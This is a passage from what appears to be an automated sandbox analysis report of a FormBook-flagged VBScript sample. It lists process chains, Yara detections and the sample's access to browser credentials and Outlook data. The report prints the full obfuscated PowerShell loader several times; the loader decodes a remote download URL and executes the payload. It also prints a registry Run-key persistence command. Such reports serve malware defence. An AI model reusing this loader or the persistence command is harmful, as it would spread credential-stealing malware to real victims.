Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sagsgningerne.Int && echo $" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Achaque" /t REG_EXPAND_SZ /d "%Akkvisitiv% -w 1 $Europiums=(Get-ItemProperty -Path 'HKCU:\Respirometres\').Xenoplastic;%Akkvisitiv% ($Europiums)" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Achaque" /t REG_EXPAND_SZ /d "%Akkvisitiv% -w 1 $Europiums=(Get-ItemProperty -Path 'HKCU:\Respirometres\').Xenoplastic;%Akkvisitiv% ($Europiums)" Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Process created: C:\Windows\SysWOW64\xcopy.exe "C:\Windows\SysWOW64\xcopy.exe" Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$retorsionshandlingenllustrationer = 1;$elytrigerous='s';$elytrigerous+='ubstrin';$elytrigerous+='g';function programregningsfunktionens($ridderne){$retorsionshandlingennfraocular=$ridderne.length-$retorsionshandlingenllustrationer;for($retorsionshandlingen=5; $retorsionshandlingen -lt $retorsionshandlingennfraocular; $retorsionshandlingen+=(6)){$outsmokes+=$ridderne.$elytrigerous.invoke( $retorsionshandlingen, $retorsionshandlingenllustrationer);}$outsmokes;}function gracy216($begrendes){. ($antediluvianske) ($begrendes);}$diskoskasteren=programregningsfunktionens 's.perm l deolandszaccomiturbolbrystlsu.loa inte/linje5.ilfo.brneb0b,ddi illi(mamelwkortsiexoranbowkndsp,dho.urvew,ndtrsfjase utotnmileptb,een marga1san.u0balli.montr0h,rsk;.ykke brakpwxanthi ,ervnreprs6trova4filet;d,awc vidnxt,gue6admin4cotra;insci un btrtogstvegipt:inter1riv l2for e1 daun. gens0sknde)neutr trak grepudeguldkc belaktandlov.rde/ edb2uheld0sknhe1elek.0nell,0 ,rot1un,en0skibi1savne mordfautogiko,merde,inearom,fshipbohapaxxstork/inten1splas2ds,es1 ilsk.fylds0capri ';$sprayens=programregningsfunktionens 'nondeu rubasva neebe,kir for -,geblar.bbegholose ta dn paratprivi ';$reprogrammes=programregningsfunktionens 'stuf.hl.muctversit subspcosmo:etcif/taksa/ impl8morph7far,n.bronz1anal,2proc,1ungl .unpol1unper0f,nda5varmt. gr,n5roc,e4,sent/seksaooverrmmismamt.bulelandlsforcetmis,aratropudiscop,iske.aarsadunsanesaanipbrodfldiameonamatysawai ';$kretidseffekternes=programregningsfunktionens 'vejkr>phisa ';$antediluvianske=programregningsfunktionens 'etam.iraadie saddxfasts ';$gunlaying='forraadnelig';gracy216 (programregningsfunktionens ' l urs atikesignatrecon- genecpen,eo.endrnnovumtprintelailanporphtst ir peatw-anglopobitaa elvetsymbohp,esh trvemt,ough: ,aad\ afv i cerid.roldrcheskt udpasfilerfmenneo c,lorsol,cesuavenphaneiindlenaabengseepssunche1pre i9wi,db7super.radiotniveax t rrt duod evole-un mmv selramoraklpericuunmoueadvoc melle$samstg estiu appenre,orl teleaanmrkysaponiimmunn behvgah.eh;chabo ');gracy216 (programregningsfunktionens ' framihabi,fcacos larit( grectv.stfe.olfistalertridge-ozonopju iaastoddttabarhpigl, pse thaand:mosen\kompli .oemd ilker tigeteperoskrig,f collopl.udr subsemad lnnonmoikromgnenok g saxoshaand1 twir9op oe7 lov..fedtst an txfarvet rede) rtss{ ka.me kropxfaksiiudsket sang} un s; gro, ');$kvrne = programregningsfunktionens 'nedraeunconcuan.ghpet oopaatn munke%kys.eacasanpfy,depsixpedover agravit orema ragl%euboe\devels lovgalaa,ngplat snematgbug.gn jalaitegninovercgarbe.esl,knr forsn p.ileafsvo. unshispirinm larth ved .fsla&neonr&be.ri adiabetro ecudganhsvovloeksp trink$ambol ';gracy216 (programregningsfunktionens 'slide$svmnigimperlavn,sot aadb rag,apie alfordr: demivgoogoiquittrshop k trknsmycetofodbomhomemhdr sieeffemd de,isdawsst bf eyoprikpbrancepatrunsongbs thri=nonam(am.utcpillamsulted stev toksi/ ilhecrajah bed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$retorsionshandlingenllustrationer = 1;$elytrigerous='s';$elytrigerous+='ubstrin';$elytrigerous+='g';function programregningsfunktionens($ridderne){$retorsionshandlingennfraocular=$ridderne.length-$retorsionshandlingenllustrationer;for($retorsionshandlingen=5; $retorsionshandlingen -lt $retorsionshandlingennfraocular; $retorsionshandlingen+=(6)){$outsmokes+=$ridderne.$elytrigerous.invoke( $retorsionshandlingen, $retorsionshandlingenllustrationer);}$outsmokes;}function gracy216($begrendes){. ($antediluvianske) ($begrendes);}$diskoskasteren=programregningsfunktionens 's.perm l deolandszaccomiturbolbrystlsu.loa inte/linje5.ilfo.brneb0b,ddi illi(mamelwkortsiexoranbowkndsp,dho.urvew,ndtrsfjase utotnmileptb,een marga1san.u0balli.montr0h,rsk;.ykke brakpwxanthi ,ervnreprs6trova4filet;d,awc vidnxt,gue6admin4cotra;insci un btrtogstvegipt:inter1riv l2for e1 daun. gens0sknde)neutr trak grepudeguldkc belaktandlov.rde/ edb2uheld0sknhe1elek.0nell,0 ,rot1un,en0skibi1savne mordfautogiko,merde,inearom,fshipbohapaxxstork/inten1splas2ds,es1 ilsk.fylds0capri ';$sprayens=programregningsfunktionens 'nondeu rubasva neebe,kir for -,geblar.bbegholose ta dn paratprivi ';$reprogrammes=programregningsfunktionens 'stuf.hl.muctversit subspcosmo:etcif/taksa/ impl8morph7far,n.bronz1anal,2proc,1ungl .unpol1unper0f,nda5varmt. gr,n5roc,e4,sent/seksaooverrmmismamt.bulelandlsforcetmis,aratropudiscop,iske.aarsadunsanesaanipbrodfldiameonamatysawai ';$kretidseffekternes=programregningsfunktionens 'vejkr>phisa ';$antediluvianske=programregningsfunktionens 'etam.iraadie saddxfasts ';$gunlaying='forraadnelig';gracy216 (programregningsfunktionens ' l urs atikesignatrecon- genecpen,eo.endrnnovumtprintelailanporphtst ir peatw-anglopobitaa elvetsymbohp,esh trvemt,ough: ,aad\ afv i cerid.roldrcheskt udpasfilerfmenneo c,lorsol,cesuavenphaneiindlenaabengseepssunche1pre i9wi,db7super.radiotniveax t rrt duod evole-un mmv selramoraklpericuunmoueadvoc melle$samstg estiu appenre,orl teleaanmrkysaponiimmunn behvgah.eh;chabo ');gracy216 (programregningsfunktionens ' framihabi,fcacos larit( grectv.stfe.olfistalertridge-ozonopju iaastoddttabarhpigl, pse thaand:mosen\kompli .oemd ilker tigeteperoskrig,f collopl.udr subsemad lnnonmoikromgnenok g saxoshaand1 twir9op oe7 lov..fedtst an txfarvet rede) rtss{ ka.me kropxfaksiiudsket sang} un s; gro, ');$kvrne = programregningsfunktionens 'nedraeunconcuan.ghpet oopaatn munke%kys.eacasanpfy,depsixpedover agravit orema ragl%euboe\devels lovgalaa,ngplat snematgbug.gn jalaitegninovercgarbe.esl,knr forsn p.ileafsvo. unshispirinm larth ved .fsla&neonr&be.ri adiabetro ecudganhsvovloeksp trink$ambol ';gracy216 (programregningsfunktionens 'slide$svmnigimperlavn,sot aadb rag,apie alfordr: demivgoogoiquittrshop k trknsmycetofodbomhomemhdr sieeffemd de,isdawsst bf eyoprikpbrancepatrunsongbs thri=nonam(am.utcpillamsulted stev toksi/ ilhecrajah bed
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$retorsionshandlingenllustrationer = 1;$elytrigerous='s';$elytrigerous+='ubstrin';$elytrigerous+='g';function programregningsfunktionens($ridderne){$retorsionshandlingennfraocular=$ridderne.length-$retorsionshandlingenllustrationer;for($retorsionshandlingen=5; $retorsionshandlingen -lt $retorsionshandlingennfraocular; $retorsionshandlingen+=(6)){$outsmokes+=$ridderne.$elytrigerous.invoke( $retorsionshandlingen, $retorsionshandlingenllustrationer);}$outsmokes;}function gracy216($begrendes){. ($antediluvianske) ($begrendes);}$diskoskasteren=programregningsfunktionens 's.perm l deolandszaccomiturbolbrystlsu.loa inte/linje5.ilfo.brneb0b,ddi illi(mamelwkortsiexoranbowkndsp,dho.urvew,ndtrsfjase utotnmileptb,een marga1san.u0balli.montr0h,rsk;.ykke brakpwxanthi ,ervnreprs6trova4filet;d,awc vidnxt,gue6admin4cotra;insci un btrtogstvegipt:inter1riv l2for e1 daun. gens0sknde)neutr trak grepudeguldkc belaktandlov.rde/ edb2uheld0sknhe1elek.0nell,0 ,rot1un,en0skibi1savne mordfautogiko,merde,inearom,fshipbohapaxxstork/inten1splas2ds,es1 ilsk.fylds0capri ';$sprayens=programregningsfunktionens 'nondeu rubasva neebe,kir for -,geblar.bbegholose ta dn paratprivi ';$reprogrammes=programregningsfunktionens 'stuf.hl.muctversit subspcosmo:etcif/taksa/ impl8morph7far,n.bronz1anal,2proc,1ungl .unpol1unper0f,nda5varmt. gr,n5roc,e4,sent/seksaooverrmmismamt.bulelandlsforcetmis,aratropudiscop,iske.aarsadunsanesaanipbrodfldiameonamatysawai ';$kretidseffekternes=programregningsfunktionens 'vejkr>phisa ';$antediluvianske=programregningsfunktionens 'etam.iraadie saddxfasts ';$gunlaying='forraadnelig';gracy216 (programregningsfunktionens ' l urs atikesignatrecon- genecpen,eo.endrnnovumtprintelailanporphtst ir peatw-anglopobitaa elvetsymbohp,esh trvemt,ough: ,aad\ afv i cerid.roldrcheskt udpasfilerfmenneo c,lorsol,cesuavenphaneiindlenaabengseepssunche1pre i9wi,db7super.radiotniveax t rrt duod evole-un mmv selramoraklpericuunmoueadvoc melle$samstg estiu appenre,orl teleaanmrkysaponiimmunn behvgah.eh;chabo ');gracy216 (programregningsfunktionens ' framihabi,fcacos larit( grectv.stfe.olfistalertridge-ozonopju iaastoddttabarhpigl, pse thaand:mosen\kompli .oemd ilker tigeteperoskrig,f collopl.udr subsemad lnnonmoikromgnenok g saxoshaand1 twir9op oe7 lov..fedtst an txfarvet rede) rtss{ ka.me kropxfaksiiudsket sang} un s; gro, ');$kvrne = programregningsfunktionens 'nedraeunconcuan.ghpet oopaatn munke%kys.eacasanpfy,depsixpedover agravit orema ragl%euboe\devels lovgalaa,ngplat snematgbug.gn jalaitegninovercgarbe.esl,knr forsn p.ileafsvo. unshispirinm larth ved .fsla&neonr&be.ri adiabetro ecudganhsvovloeksp trink$ambol ';gracy216 (programregningsfunktionens 'slide$svmnigimperlavn,sot aadb rag,apie alfordr: demivgoogoiquittrshop k trknsmycetofodbomhomemhdr sieeffemd de,isdawsst bf eyoprikpbrancepatrunsongbs thri=nonam(am.utcpillamsulted stev toksi/ ilhecrajah bed Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$retorsionshandlingenllustrationer = 1;$elytrigerous='s';$elytrigerous+='ubstrin';$elytrigerous+='g';function programregningsfunktionens($ridderne){$retorsionshandlingennfraocular=$ridderne.length-$retorsionshandlingenllustrationer;for($retorsionshandlingen=5; $retorsionshandlingen -lt $retorsionshandlingennfraocular; $retorsionshandlingen+=(6)){$outsmokes+=$ridderne.$elytrigerous.invoke( $retorsionshandlingen, $retorsionshandlingenllustrationer);}$outsmokes;}function gracy216($begrendes){. ($antediluvianske) ($begrendes);}$diskoskasteren=programregningsfunktionens 's.perm l deolandszaccomiturbolbrystlsu.loa inte/linje5.ilfo.brneb0b,ddi illi(mamelwkortsiexoranbowkndsp,dho.urvew,ndtrsfjase utotnmileptb,een marga1san.u0balli.montr0h,rsk;.ykke brakpwxanthi ,ervnreprs6trova4filet;d,awc vidnxt,gue6admin4cotra;insci un btrtogstvegipt:inter1riv l2for e1 daun. gens0sknde)neutr trak grepudeguldkc belaktandlov.rde/ edb2uheld0sknhe1elek.0nell,0 ,rot1un,en0skibi1savne mordfautogiko,merde,inearom,fshipbohapaxxstork/inten1splas2ds,es1 ilsk.fylds0capri ';$sprayens=programregningsfunktionens 'nondeu rubasva neebe,kir for -,geblar.bbegholose ta dn paratprivi ';$reprogrammes=programregningsfunktionens 'stuf.hl.muctversit subspcosmo:etcif/taksa/ impl8morph7far,n.bronz1anal,2proc,1ungl .unpol1unper0f,nda5varmt. gr,n5roc,e4,sent/seksaooverrmmismamt.bulelandlsforcetmis,aratropudiscop,iske.aarsadunsanesaanipbrodfldiameonamatysawai ';$kretidseffekternes=programregningsfunktionens 'vejkr>phisa ';$antediluvianske=programregningsfunktionens 'etam.iraadie saddxfasts ';$gunlaying='forraadnelig';gracy216 (programregningsfunktionens ' l urs atikesignatrecon- genecpen,eo.endrnnovumtprintelailanporphtst ir peatw-anglopobitaa elvetsymbohp,esh trvemt,ough: ,aad\ afv i cerid.roldrcheskt udpasfilerfmenneo c,lorsol,cesuavenphaneiindlenaabengseepssunche1pre i9wi,db7super.radiotniveax t rrt duod evole-un mmv selramoraklpericuunmoueadvoc melle$samstg estiu appenre,orl teleaanmrkysaponiimmunn behvgah.eh;chabo ');gracy216 (programregningsfunktionens ' framihabi,fcacos larit( grectv.stfe.olfistalertridge-ozonopju iaastoddttabarhpigl, pse thaand:mosen\kompli .oemd ilker tigeteperoskrig,f collopl.udr subsemad lnnonmoikromgnenok g saxoshaand1 twir9op oe7 lov..fedtst an txfarvet rede) rtss{ ka.me kropxfaksiiudsket sang} un s; gro, ');$kvrne = programregningsfunktionens 'nedraeunconcuan.ghpet oopaatn munke%kys.eacasanpfy,depsixpedover agravit orema ragl%euboe\devels lovgalaa,ngplat snematgbug.gn jalaitegninovercgarbe.esl,knr forsn p.ileafsvo. unshispirinm larth ved .fsla&neonr&be.ri adiabetro ecudganhsvovloeksp trink$ambol ';gracy216 (programregningsfunktionens 'slide$svmnigimperlavn,sot aadb rag,apie alfordr: demivgoogoiquittrshop k trknsmycetofodbomhomemhdr sieeffemd de,isdawsst bf eyoprikpbrancepatrunsongbs thri=nonam(am.utcpillamsulted stev toksi/ ilhecrajah bed Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 00000017.00000002.3568353158.0000000001500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3568882333.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.3231394969.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3567612740.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.3568923150.00000000038D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.3306907165.0000000025560000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3568770287.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\xcopy.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 00000017.00000002.3568353158.0000000001500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3568882333.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.3231394969.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3567612740.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.3568923150.00000000038D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.3306907165.0000000025560000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3568770287.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1435413 Sample: 01105751.vbs Startdate: 02/05/2024 Architecture: WINDOWS Score: 100 67 www.facesofhoustontx.com 2->67 69 timesrenewables.com 2->69 71 3 other IPs or domains 2->71 83 Snort IDS alert for network traffic 2->83 85 Malicious sample detected (through community Yara rule) 2->85 87 Antivirus detection for URL or domain 2->87 89 4 other signatures 2->89 12 wscript.exe 1 2->12         started        15 wab.exe 3 1 2->15         started        17 rundll32.exe 2->17         started        19 wab.exe 1 2->19         started        signatures3 process4 signatures5 105 VBScript performs obfuscated calls to suspicious functions 12->105 107 Suspicious powershell command line found 12->107 109 Wscript starts Powershell (via cmd or directly) 12->109 111 4 other signatures 12->111 21 powershell.exe 14 19 12->21         started        25 PING.EXE 1 12->25         started        27 cmd.exe 1 12->27         started        29 PING.EXE 1 12->29         started        process6 dnsIp7 73 87.121.105.54, 49713, 49721, 80 NET1-ASBG Bulgaria 21->73 91 Suspicious powershell command line found 21->91 93 Very long command line found 21->93 95 Found suspicious powershell code related to unpacking or dynamic code loading 21->95 31 powershell.exe 17 21->31         started        34 conhost.exe 21->34         started        36 cmd.exe 1 21->36         started        75 google.com 142.251.40.206 GOOGLEUS United States 25->75 38 conhost.exe 25->38         started        40 conhost.exe 27->40         started        42 conhost.exe 29->42         started        signatures8 process9 signatures10 119 Writes to foreign memory regions 31->119 121 Found suspicious powershell code related to unpacking or dynamic code loading 31->121 123 Hides threads from debuggers 31->123 44 wab.exe 2 7 31->44         started        47 cmd.exe 1 31->47         started        process11 signatures12 113 Maps a DLL or memory area into another process 44->113 115 Hides threads from debuggers 44->115 49 TsrCaEwNrfOKANGWcsg.exe 44->49 injected 52 cmd.exe 1 44->52         started        process13 signatures14 79 Maps a DLL or memory area into another process 49->79 81 Found direct / indirect Syscall (likely to bypass EDR) 49->81 54 xcopy.exe 1 